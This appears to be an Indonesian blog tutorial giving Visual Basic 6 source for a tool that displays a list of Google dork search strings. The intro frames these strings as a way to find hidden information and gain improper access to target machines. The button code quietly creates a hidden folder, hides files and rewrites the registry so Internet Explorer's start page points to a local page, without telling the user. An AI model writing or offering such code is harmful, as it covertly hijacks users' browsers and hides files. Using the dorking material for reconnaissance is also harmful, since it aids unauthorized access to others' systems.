Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.
Skema alur pemrograman pada aplikasi kita kali ini adalah membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi yang sedang dibuat. File GoogleHacking.txt merupakan kumpulan Syntax-syntax Google Hacking yang berjumlah ratusan syntax.Selanjutnya mengkopi syntax yang diinginkan lalu klik tombol google untuk membuka file Google.html yang telah dimodifikasi (Lihat gambar di atas). Setelah itu paste-kan syntax pada kotak penelusuran google, dan dapatkan informasi yang tersembunyi dari syntax tersebut. Semoga bermanfaat.
Langsung saja,Siapkan 2 commandbutton, 1 Textbox yang terpasang multiline dalam 1 form.
===================================
Tulis kode di bawah ini dalam form1
===================================
'panggil url/Google.html
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const conSwNormal = 1
Private Sub CmdGoogle_Click()
On Error Resume Next ' jika ada kesalahan maka lanjutkan
Dim fso, a, regrun, b, c 'meminta jatah memori
Set fso = CreateObject("Scripting.FileSystemObject") ' menggunakan file scripting object
Set b = fso.GetFile("Google.Html") ' melalui fso untuk mendapatkan file Google.html yang terdapat di dalam satu folder dengan aplikasi ini
'Membuat folder Baru
Set c = fso.CreateFolder("C:\H@CK3RT00L")
c.Attributes = 6 ' memberi attribut folder H@CK3RT00L menjadi hidden
b.Copy ("C:\H@CK3RT00L\Google.Html") ' mlakukan copy file Google.Html ke dalam folder H@CK3RT00L
Set a = fso.GetFile("C:\Google.Html")
b.Attributes = 6
Set regrun = CreateObject("Wscript.shell") 'membuat regrun untuk melakukan perubahan script di registry
regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "C:\H@CK3RT00L\Google.Html" 'setiap menjalankan Internet Eksplorer maka pertama yang terbuka adalah Google.html
ShellExecute hwnd, "open", "C:\H@CK3RT00L\Google.Html", vbNullString, vbNullString, conSwNormal ' menjalankan/mengeksekusi Google.html
End Sub
Private Sub Command1_Click()
End 'tutup
End Sub
Private Sub Form_Load()
lblStatus.Caption = "Copy Syntax Yang Dipilih, Kemudian Klik Tombol Google."
On Error GoTo ErrHandler ' jika terjadi kesalahan maka menuju ErrHandler
Open "GoogleHacking.txt" For Input As #1 'membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi ini
Text1.Text = Input(LOF(1), #1)
Close
Exit Sub
ErrHandler: 'membuat pernyataan terjadinya kesalahan
MsgBox "File GoogleHacking.txt Tidak Bisa Dibuka"
End
End Sub
================================
Semoga bermanfaat.
Bagikan
